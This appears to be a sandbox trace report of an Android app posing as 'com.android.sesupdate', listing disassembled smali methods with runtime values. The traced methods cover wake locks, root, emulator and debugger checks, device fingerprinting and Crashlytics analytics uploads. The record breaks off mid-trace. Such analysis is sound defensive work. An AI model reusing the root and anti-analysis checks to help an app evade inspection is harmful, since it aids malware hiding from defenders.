                          • {"build_manufacturer":"samsung","ids":null,"disk_space":4879941632,"total_ram":942002176,"build_model":"Galaxy Nexus","state":0,"arch":6,"is_emulator":false,"build_product":"=occam","available_processors":4}
                          Position Instruction Meta Information
                          0.param p1, "arg" # Ljava/io/FileOutputStream;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/lang/Exception;
                          4}
                          5.end annotation
                          6.prologue
                          7new-instance v0, Lorg/json/JSONObject;
                          8new-instance v1, Lcom/crashlytics/android/core/CrashlyticsController$24$1;
                          10invoke-direct {v1, p0}, Lcom/crashlytics/android/core/CrashlyticsController$24$1;-><init>(Lcom/crashlytics/android/core/CrashlyticsController$24;)V
                          • Time: 994615551
                            • Return:
                              • Galaxy Nexus
                          • Time: 994616176
                            • Return:
                              • samsung
                          12invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          • Time: 994617201
                            • p0: {build_manufacturer=samsung, ids={ANDROID_ID=d6ab1046af78a9eb}, disk_space=4879941632, total_ram=942002176, build_model=Galaxy Nexus, state=0, arch=6, is_emulator=false, build_product==occam, available_processors=4}
                            • Return:
                              • {"build_manufacturer":"samsung","ids":null,"disk_space":4879941632,"total_ram":942002176,"build_model":"Galaxy Nexus","state":0,"arch":6,"is_emulator":false,"build_product":"=occam","available_processors":4}
                          14invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                          • Time: 994617711
                            • This:
                              • {"build_manufacturer":"samsung","ids":null,"disk_space":4879941632,"total_ram":942002176,"build_model":"Galaxy Nexus","state":0,"arch":6,"is_emulator":false,"build_product":"=occam","available_processors":4}
                            • Return:
                              • {"build_manufacturer":"samsung","ids":null,"disk_space":4879941632,"total_ram":942002176,"build_model":"Galaxy Nexus","state":0,"arch":6,"is_emulator":false,"build_product":"=occam","available_processors":4}
                          15move-result-object v0
                          17invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                          18move-result-object v0
                          20invoke-virtual {p1, v0}, Ljava/io/FileOutputStream;->write([B)V
                          21return-void
                          Cross References
                          APIs
                          • android.os.PowerManager$WakeLock.release
                          • com.android.sesupdate.services.FirstService.getSystemService
                          • android.os.PowerManager.newWakeLock
                          • android.os.PowerManager$WakeLock.acquire
                          Strings
                          • power
                          • AndroidService
                          Position Instruction Meta Information
                          0.prologue
                          2sget-object v0, Lcom/android/sesupdate/GlobalData;->wakeLock:Landroid/os/PowerManager$WakeLock;
                          3if-eqz v0, :cond_c
                          5sget-object v0, Lcom/android/sesupdate/GlobalData;->wakeLock:Landroid/os/PowerManager$WakeLock;
                          7invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->release()V
                          8const/4 v0, 0x0
                          9sput-object v0, Lcom/android/sesupdate/GlobalData;->wakeLock:Landroid/os/PowerManager$WakeLock;
                          10cond_c:
                          11const-string v0, "power"
                          13invoke-virtual {p0, v0}, Lcom/android/sesupdate/services/FirstService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                          • Time: 994608420
                            • This:
                              • com.android.sesupdate.services.FirstService@1d5c56f6
                            • p0: power
                            • Return:
                              • android.os.PowerManager@2f484bcd
                          14move-result-object v0
                          15check-cast v0, Landroid/os/PowerManager;
                          16iput-object v0, p0, Lcom/android/sesupdate/services/FirstService;->powerManager:Landroid/os/PowerManager;
                          18iget-object v0, p0, Lcom/android/sesupdate/services/FirstService;->powerManager:Landroid/os/PowerManager;
                          19const/4 v1, 0x1
                          21const-string v2, "AndroidService"
                          23invoke-virtual {v0, v1, v2}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
                          24move-result-object v0
                          25sput-object v0, Lcom/android/sesupdate/GlobalData;->wakeLock:Landroid/os/PowerManager$WakeLock;
                          27sget-object v0, Lcom/android/sesupdate/GlobalData;->wakeLock:Landroid/os/PowerManager$WakeLock;
                          29invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->acquire()V
                          30return-void
                          Cross References
                          APIs
                          • java.io.File.<init>
                          • io.fabric.sdk.android.services.common.CommonUtils.isDebuggerAttached
                          Strings
                          • =occam
                          • /system/app/Superuser.apk
                          • /system/xbin/su
                          • release-keys
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v0, 0x0
                          4invoke-static {p0}, Lio/fabric/sdk/android/services/common/CommonUtils;->isEmulator(Landroid/content/Context;)Z
                          • Time: 994612762
                            • Return:
                              • =occam
                          5move-result v1
                          6if-eqz v1, :cond_9
                          7or-int/lit8 v0, v0, 0x1
                          8cond_9:
                          9invoke-static {p0}, Lio/fabric/sdk/android/services/common/CommonUtils;->isRooted(Landroid/content/Context;)Z
                          • Time: 994613461
                            • Return:
                              • release-keys
                          • Time: 994613530
                            • This:
                              • /system/app/Superuser.apk
                            • p0: /system/app/Superuser.apk
                            • Return:
                              • /system/app/Superuser.apk
                          • Time: 994613674
                            • This:
                              • /system/xbin/su
                            • p0: /system/xbin/su
                            • Return:
                              • /system/xbin/su
                          10move-result v1
                          11if-eqz v1, :cond_11
                          12or-int/lit8 v0, v0, 0x2
                          13cond_11:
                          14invoke-static {}, Lio/fabric/sdk/android/services/common/CommonUtils;->isDebuggerAttached()Z
                          • Time: 994613913
                            • Return:
                              • false
                          15move-result v1
                          16if-eqz v1, :cond_19
                          17or-int/lit8 v0, v0, 0x4
                          18cond_19: return v0
                          Cross References
                          APIs
                          • android.content.Context.getPackageCodePath
                          • io.fabric.sdk.android.FabricKitsFinder.io.fabric.sdk.android.FabricKitsFinder
                          • java.util.concurrent.ExecutorService.submit
                          Strings
                          • /data/app/com.android.sesupdate-1/base.apk
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.annotation system Ldalvik/annotation/Signature;
                          2value = {
                          3"(",
                          4"Landroid/content/Context;",
                          5")",
                          6"Ljava/util/concurrent/Future",
                          7"<",
                          8"Ljava/util/Map",
                          9"<",
                          10"Ljava/lang/String;",
                          11"Lio/fabric/sdk/android/KitInfo;",
                          12">;>;"
                          13}
                          14.end annotation
                          15.prologue
                          16new-instance v1, Lio/fabric/sdk/android/FabricKitsFinder;
                          18invoke-virtual {p1}, Landroid/content/Context;->getPackageCodePath()Ljava/lang/String;
                          19move-result-object v2
                          21invoke-direct {v1, v2}, Lio/fabric/sdk/android/FabricKitsFinder;-><init>(Ljava/lang/String;)V
                          • Time: 994607231
                            • p0: /data/app/com.android.sesupdate-1/base.apk
                            • Return:
                              • io.fabric.sdk.android.FabricKitsFinder@2edc2093
                          23invoke-virtual {p0}, Lio/fabric/sdk/android/Fabric;->getExecutorService()Ljava/util/concurrent/ExecutorService;
                          24move-result-object v0
                          26invoke-interface {v0, v1}, Ljava/util/concurrent/ExecutorService;->submit(Ljava/util/concurrent/Callable;)Ljava/util/concurrent/Future;
                          27move-result-object v2
                          28return-object v2
                          Cross References
                          APIs
                          • android.app.SharedPreferencesImpl.getString
                          • android.content.SharedPreferences.getBoolean
                          Strings
                          • advertising_id
                          • limit_ad_tracking_enabled
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v2, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->preferenceStore:Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          4invoke-interface {v2}, Lio/fabric/sdk/android/services/persistence/PreferenceStore;->get()Landroid/content/SharedPreferences;
                          5move-result-object v2
                          7const-string v3, "advertising_id"
                          9const-string v4, ""
                          11invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994607736
                            • This:
                              • android.app.SharedPreferencesImpl@34e35d97
                            • p0: advertising_id
                            • p1: ""
                            • Return:
                              • ""
                          12move-result-object v0
                          14iget-object v2, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->preferenceStore:Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          16invoke-interface {v2}, Lio/fabric/sdk/android/services/persistence/PreferenceStore;->get()Landroid/content/SharedPreferences;
                          17move-result-object v2
                          19const-string v3, "limit_ad_tracking_enabled"
                          20const/4 v4, 0x0
                          22invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                          23move-result v1
                          24new-instance v2, Lio/fabric/sdk/android/services/common/AdvertisingInfo;
                          26invoke-direct {v2, v0, v1}, Lio/fabric/sdk/android/services/common/AdvertisingInfo;-><init>(Ljava/lang/String;Z)V
                          27return-object v2
                          Cross References
                          APIs
                          • android.app.SharedPreferencesImpl.getString
                          Strings
                          • 727b1e1c99ed48bfa431dd3ed82456db
                          • crashlytics.installation.id
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lio/fabric/sdk/android/services/common/IdManager;->appInstallIdentifier:Ljava/lang/String;
                          3if-nez v0, :cond_1a
                          5iget-object v2, p0, Lio/fabric/sdk/android/services/common/IdManager;->appContext:Landroid/content/Context;
                          7invoke-static {v2}, Lio/fabric/sdk/android/services/common/CommonUtils;->getSharedPrefs(Landroid/content/Context;)Landroid/content/SharedPreferences;
                          8move-result-object v1
                          10invoke-direct {p0, v1}, Lio/fabric/sdk/android/services/common/IdManager;->checkAdvertisingIdRotation(Landroid/content/SharedPreferences;)V
                          12const-string v2, "crashlytics.installation.id"
                          13const/4 v3, 0x0
                          15invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994608053
                            • This:
                              • android.app.SharedPreferencesImpl@3c126e98
                            • p0: crashlytics.installation.id
                            • p1: null
                            • Return:
                              • null
                          • Time: 994608096
                            • This:
                              • android.app.SharedPreferencesImpl@3c126e98
                            • p0: crashlytics.installation.id
                            • p1: null
                            • Return:
                              • 727b1e1c99ed48bfa431dd3ed82456db
                          16move-result-object v0
                          17if-nez v0, :cond_1a
                          19invoke-direct {p0, v1}, Lio/fabric/sdk/android/services/common/IdManager;->createInstallationUUID(Landroid/content/SharedPreferences;)Ljava/lang/String;
                          20move-result-object v0
                          21cond_1a: return-object v0
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.common.CommonUtils$Architecture.ordinal
                          Strings
                          • armeabi-v7a
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-static {}, Lio/fabric/sdk/android/services/common/CommonUtils$Architecture;->getValue()Lio/fabric/sdk/android/services/common/CommonUtils$Architecture;
                          • Time: 994608987
                            • Return:
                              • armeabi-v7a
                          3move-result-object v0
                          5invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/CommonUtils$Architecture;->ordinal()I
                          6move-result v0
                          7return v0
                          Cross References
                          APIs
                          • java.security.MessageDigest.digest
                          Strings
                          • SHA-1
                          Position Instruction Meta Information
                          0.param p0, "source" # Ljava/io/InputStream;
                          1.prologue
                          3const-string v0, "SHA-1"
                          5invoke-static {p0, v0}, Lio/fabric/sdk/android/services/common/CommonUtils;->hash(Ljava/io/InputStream;Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994607612
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • Return:
                              • [B@35367042
                              • ./l&O)YG*w
                              • 2E2F12C9CAF18E6C264F29A759E5477FA62A7720
                          • Time: 994607739
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • Return:
                              • [B@32f84f6d
                              • ./l&O)YG*w
                              • 2E2F12C9CAF18E6C264F29A759E5477FA62A7720
                          6move-result-object v0
                          7return-object v0
                          Cross References
                          APIs
                          • android.os.Debug.isDebuggerConnected
                          • android.os.Debug.waitingForDebugger
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-static {}, Landroid/os/Debug;->isDebuggerConnected()Z
                          • Time: 994613886
                            • Return:
                              • false
                          3move-result v0
                          4if-nez v0, :cond_c
                          6invoke-static {}, Landroid/os/Debug;->waitingForDebugger()Z
                          7move-result v0
                          8if-eqz v0, :cond_e
                          9cond_c: const/4 v0, 0x1
                          10goto_d: return v0
                          11cond_e: const/4 v0, 0x0
                          12goto/16 :goto_d
                          Cross References
                          APIs
                          • java.lang.String.getBytes
                          • java.security.MessageDigest.digest
                          Position Instruction Meta Information
                          0.param p0, "s" # Ljava/lang/String;
                          1.param p1, "algorithm" # Ljava/lang/String;
                          2.prologue
                          4invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
                          5move-result-object v0
                          7invoke-static {v0, p1}, Lio/fabric/sdk/android/services/common/CommonUtils;->hash([BLjava/lang/String;)Ljava/lang/String;
                          • Time: 994608136
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • Return:
                              • [B@15ef1e61
                              • !9kFjGc
                              • 2139026BA246EEEC6ABBB147DBF0C48102E7639A
                          • Time: 994608283
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • Return:
                              • [B@35f65517
                              • [$1%V
                              • A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          • Time: 994608464
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • Return:
                              • [B@1ba989da
                              • [$1%V
                              • A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          • Time: 994613740
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • Return:
                              • [B@1c67c00
                              • [$1%V
                              • A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          8move-result-object v0
                          9return-object v0
                          Cross References
                          APIs
                          • com.crashlytics.android.answers.Answers.getVersion
                          • java.util.List.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.io.File.getName
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.util.List.size
                          • java.lang.StringBuilder.append
                          • com.crashlytics.android.answers.SessionAnalyticsFilesSender.getUrl
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • X-CRASHLYTICS-API-CLIENT-TYPE
                          • android
                          • X-CRASHLYTICS-API-CLIENT-VERSION
                          • 1.4.1.19
                          • X-CRASHLYTICS-API-KEY
                          • session_analytics_file_
                          • application/vnd.crashlytics.android.events
                          • Answers
                          • Sending
                          • analytics files to
                          • https://e.crashlytics.com/spi/v2/events
                          • Response code for analytics file send is
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(",
                          3"Ljava/util/List",
                          4"<",
                          5"Ljava/io/File;",
                          6">;)Z"
                          7}
                          8.end annotation
                          9.prologue
                          11invoke-virtual {p0}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;->getHttpRequest()Lio/fabric/sdk/android/services/network/HttpRequest;
                          12move-result-object v1
                          14const-string v4, "X-CRASHLYTICS-API-CLIENT-TYPE"
                          16const-string v5, "android"
                          18invoke-virtual {v1, v4, v5}, Lio/fabric/sdk/android/services/network/HttpRequest;->header(Ljava/lang/String;Ljava/lang/String;)Lio/fabric/sdk/android/services/network/HttpRequest;
                          19move-result-object v4
                          21const-string v5, "X-CRASHLYTICS-API-CLIENT-VERSION"
                          23iget-object v6, p0, Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;->kit:Lio/fabric/sdk/android/Kit;
                          25invoke-virtual {v6}, Lio/fabric/sdk/android/Kit;->getVersion()Ljava/lang/String;
                          • Time: 994627351
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • 1.4.1.19
                          26move-result-object v6
                          28invoke-virtual {v4, v5, v6}, Lio/fabric/sdk/android/services/network/HttpRequest;->header(Ljava/lang/String;Ljava/lang/String;)Lio/fabric/sdk/android/services/network/HttpRequest;
                          29move-result-object v4
                          31const-string v5, "X-CRASHLYTICS-API-KEY"
                          33iget-object v6, p0, Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;->apiKey:Ljava/lang/String;
                          35invoke-virtual {v4, v5, v6}, Lio/fabric/sdk/android/services/network/HttpRequest;->header(Ljava/lang/String;Ljava/lang/String;)Lio/fabric/sdk/android/services/network/HttpRequest;
                          36move-result-object v1
                          37const/4 v2, 0x0
                          39invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                          40move-result-object v4
                          41goto_25:
                          42invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                          43move-result v5
                          44if-eqz v5, :cond_50
                          46invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          47move-result-object v0
                          48check-cast v0, Ljava/io/File;
                          49new-instance v5, Ljava/lang/StringBuilder;
                          51invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                          53const-string v6, "session_analytics_file_"
                          55invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          56move-result-object v5
                          58invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                          59move-result-object v5
                          61invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          62move-result-object v5
                          64invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                          65move-result-object v6
                          67const-string v7, "application/vnd.crashlytics.android.events"
                          69invoke-virtual {v1, v5, v6, v7, v0}, Lio/fabric/sdk/android/services/network/HttpRequest;->part(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/io/File;)Lio/fabric/sdk/android/services/network/HttpRequest;
                          70add-int/lit8 v2, v2, 0x1
                          71goto/16 :goto_25
                          72cond_50:
                          73invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          74move-result-object v4
                          76const-string v5, "Answers"
                          77new-instance v6, Ljava/lang/StringBuilder;
                          79invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          81const-string v7, "Sending "
                          83invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          84move-result-object v6
                          86invoke-interface {p1}, Ljava/util/List;->size()I
                          87move-result v7
                          89invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                          90move-result-object v6
                          92const-string v7, " analytics files to "
                          94invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          95move-result-object v6
                          97invoke-virtual {p0}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;->getUrl()Ljava/lang/String;
                          • Time: 994629845
                            • This:
                              • com.crashlytics.android.answers.SessionAnalyticsFilesSender@28593b97
                            • Return:
                              • https://e.crashlytics.com/spi/v2/events
                          98move-result-object v7
                          100invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          101move-result-object v6
                          103invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          104move-result-object v6
                          106invoke-interface {v4, v5, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          108invoke-virtual {v1}, Lio/fabric/sdk/android/services/network/HttpRequest;->code()I
                          109move-result v3
                          111invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          112move-result-object v4
                          114const-string v5, "Answers"
                          115new-instance v6, Ljava/lang/StringBuilder;
                          117invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          119const-string v7, "Response code for analytics file send is "
                          121invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          122move-result-object v6
                          124invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                          125move-result-object v6
                          127invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          128move-result-object v6
                          130invoke-interface {v4, v5, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          132invoke-static {v3}, Lio/fabric/sdk/android/services/common/ResponseParser;->parse(I)I
                          133move-result v4
                          134if-nez v4, :cond_a6
                          135const/4 v4, 0x1
                          136goto_a5: return v4
                          137cond_a6: const/4 v4, 0x0
                          138goto/16 :goto_a5
                          Cross References
                          APIs
                          • java.util.HashMap.<init>
                          • java.util.zip.ZipFile.entries
                          • java.util.Enumeration.hasMoreElements
                          • java.util.Enumeration.nextElement
                          • java.util.zip.ZipEntry.getName
                          • java.lang.String.startsWith
                          • java.util.zip.ZipEntry.getName
                          • java.lang.String.length
                          • java.util.Map.put
                          • io.fabric.sdk.android.KitInfo.getIdentifier
                          • io.fabric.sdk.android.KitInfo.getVersion
                          • java.lang.String.format
                          • java.util.zip.ZipFile.close
                          Strings
                          • fabric/
                          • com.crashlytics.sdk.android.crashlytics-core
                          • com.crashlytics.sdk.android:answers
                          • com.crashlytics.sdk.android:beta
                          • com.crashlytics.sdk.android:crashlytics
                          • io.fabric.sdk.android:fabric
                          • Fabric
                          • Found kit:[%s] version:[%s]
                          • 1.2.7
                          • 1.4.1
                          • 2.4.1
                          • 2.7.1
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"()",
                          3"Ljava/util/Map",
                          4"<",
                          5"Ljava/lang/String;",
                          6"Lio/fabric/sdk/android/KitInfo;",
                          7">;"
                          8}
                          9.end annotation
                          10.annotation system Ldalvik/annotation/Throws;
                          11value = {
                          12Ljava/lang/Exception;
                          13}
                          14.end annotation
                          15.prologue
                          16new-instance v4, Ljava/util/HashMap;
                          18invoke-direct {v4}, Ljava/util/HashMap;-><init>()V
                          20invoke-virtual {p0}, Lio/fabric/sdk/android/FabricKitsFinder;->loadApkFile()Ljava/util/zip/ZipFile;
                          21move-result-object v0
                          23invoke-virtual {v0}, Ljava/util/zip/ZipFile;->entries()Ljava/util/Enumeration;
                          24move-result-object v1
                          25goto_d:
                          26invoke-interface {v1}, Ljava/util/Enumeration;->hasMoreElements()Z
                          27move-result v5
                          28if-eqz v5, :cond_63
                          30invoke-interface {v1}, Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;
                          31move-result-object v2
                          32check-cast v2, Ljava/util/zip/ZipEntry;
                          34invoke-virtual {v2}, Ljava/util/zip/ZipEntry;->getName()Ljava/lang/String;
                          35move-result-object v5
                          37const-string v6, "fabric/"
                          39invoke-virtual {v5, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          40move-result v5
                          41if-eqz v5, :cond_d
                          43invoke-virtual {v2}, Ljava/util/zip/ZipEntry;->getName()Ljava/lang/String;
                          44move-result-object v5
                          46invoke-virtual {v5}, Ljava/lang/String;->length()I
                          47move-result v5
                          49const-string v6, "fabric/"
                          51invoke-virtual {v6}, Ljava/lang/String;->length()I
                          52move-result v6
                          53if-le v5, v6, :cond_d
                          55invoke-direct {p0, v2, v0}, Lio/fabric/sdk/android/FabricKitsFinder;->loadKitInfo(Ljava/util/zip/ZipEntry;Ljava/util/zip/ZipFile;)Lio/fabric/sdk/android/KitInfo;
                          56move-result-object v3
                          57if-eqz v3, :cond_d
                          59invoke-virtual {v3}, Lio/fabric/sdk/android/KitInfo;->getIdentifier()Ljava/lang/String;
                          • Time: 994607249
                            • This:
                              • io.fabric.sdk.android.KitInfo@ca0c085
                            • Return:
                              • com.crashlytics.sdk.android.crashlytics-core
                          • Time: 994607270
                            • This:
                              • io.fabric.sdk.android.KitInfo@15b1e001
                            • Return:
                              • com.crashlytics.sdk.android:crashlytics
                          • Time: 994607292
                            • This:
                              • io.fabric.sdk.android.KitInfo@3ec54494
                            • Return:
                              • com.crashlytics.sdk.android:answers
                          • Time: 994607321
                            • This:
                              • io.fabric.sdk.android.KitInfo@231e5483
                            • Return:
                              • com.crashlytics.sdk.android:beta
                          • Time: 994607334
                            • This:
                              • io.fabric.sdk.android.KitInfo@57d1c7e
                            • Return:
                              • io.fabric.sdk.android:fabric
                          60move-result-object v5
                          62invoke-interface {v4, v5, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                          64invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          65move-result-object v5
                          67const-string v6, "Fabric"
                          69const-string v7, "Found kit:[%s] version:[%s]"
                          70const/4 v8, 0x2
                          71new-array v8, v8, [Ljava/lang/Object;
                          72const/4 v9, 0x0
                          74invoke-virtual {v3}, Lio/fabric/sdk/android/KitInfo;->getIdentifier()Ljava/lang/String;
                          • Time: 994607256
                            • This:
                              • io.fabric.sdk.android.KitInfo@ca0c085
                            • Return:
                              • com.crashlytics.sdk.android.crashlytics-core
                          • Time: 994607275
                            • This:
                              • io.fabric.sdk.android.KitInfo@15b1e001
                            • Return:
                              • com.crashlytics.sdk.android:crashlytics
                          • Time: 994607301
                            • This:
                              • io.fabric.sdk.android.KitInfo@3ec54494
                            • Return:
                              • com.crashlytics.sdk.android:answers
                          • Time: 994607326
                            • This:
                              • io.fabric.sdk.android.KitInfo@231e5483
                            • Return:
                              • com.crashlytics.sdk.android:beta
                          • Time: 994607339
                            • This:
                              • io.fabric.sdk.android.KitInfo@57d1c7e
                            • Return:
                              • io.fabric.sdk.android:fabric
                          75move-result-object v10
                          76aput-object v10, v8, v9
                          77const/4 v9, 0x1
                          79invoke-virtual {v3}, Lio/fabric/sdk/android/KitInfo;->getVersion()Ljava/lang/String;
                          • Time: 994607265
                            • This:
                              • io.fabric.sdk.android.KitInfo@ca0c085
                            • Return:
                              • 2.4.1
                          • Time: 994607287
                            • This:
                              • io.fabric.sdk.android.KitInfo@15b1e001
                            • Return:
                              • 2.7.1
                          • Time: 994607311
                            • This:
                              • io.fabric.sdk.android.KitInfo@3ec54494
                            • Return:
                              • 1.4.1
                          • Time: 994607329
                            • This:
                              • io.fabric.sdk.android.KitInfo@231e5483
                            • Return:
                              • 1.2.7
                          80move-result-object v10
                          81aput-object v10, v8, v9
                          83invoke-static {v7, v8}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                          84move-result-object v7
                          86invoke-interface {v5, v6, v7}, Lio/fabric/sdk/android/Logger;->v(Ljava/lang/String;Ljava/lang/String;)V
                          87goto/16 :goto_d
                          88cond_63: if-eqz v0, :cond_68
                          89try_start_65:
                          90invoke-virtual {v0}, Ljava/util/zip/ZipFile;->close()V
                          91try_end_68: return-object v4
                          92catch_69: move-exception v5
                          93goto/16 :goto_68
                          APIs
                          • java.io.FileOutputStream.flush
                          • java.io.FileOutputStream.close
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.io.File.<init>
                          • java.io.File.renameTo
                          • java.io.File.exists
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.io.IOException.<init>
                          • java.io.File.exists
                          Strings
                          • .cls
                          • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                          • (target already exists)
                          • Could not rename temp file:
                          • ->
                          • (source does not exist)
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Throws;
                          1value = {
                          2Ljava/io/IOException;
                          3}
                          4.end annotation
                          5.prologue
                          6monitor-enter p0
                          7try_start_1: iget-boolean v2, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->closed:Z
                          8try_end_3: if-eqz v2, :cond_7
                          9goto_5: monitor-exit p0
                          10return-void
                          11cond_7: const/4 v2, 0x1
                          12try_start_8: iput-boolean v2, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->closed:Z
                          14invoke-super {p0}, Ljava/io/FileOutputStream;->flush()V
                          16invoke-super {p0}, Ljava/io/FileOutputStream;->close()V
                          17new-instance v0, Ljava/io/File;
                          18new-instance v2, Ljava/lang/StringBuilder;
                          20invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          22iget-object v3, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->root:Ljava/lang/String;
                          24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          25move-result-object v2
                          27const-string v3, ".cls"
                          29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          30move-result-object v2
                          32invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          33move-result-object v2
                          35invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          • Time: 994608256
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                            • p0: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                          37iget-object v2, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->inProgress:Ljava/io/File;
                          39invoke-virtual {v2, v0}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
                          • Time: 994608274
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                            • p0: true
                            • Return:
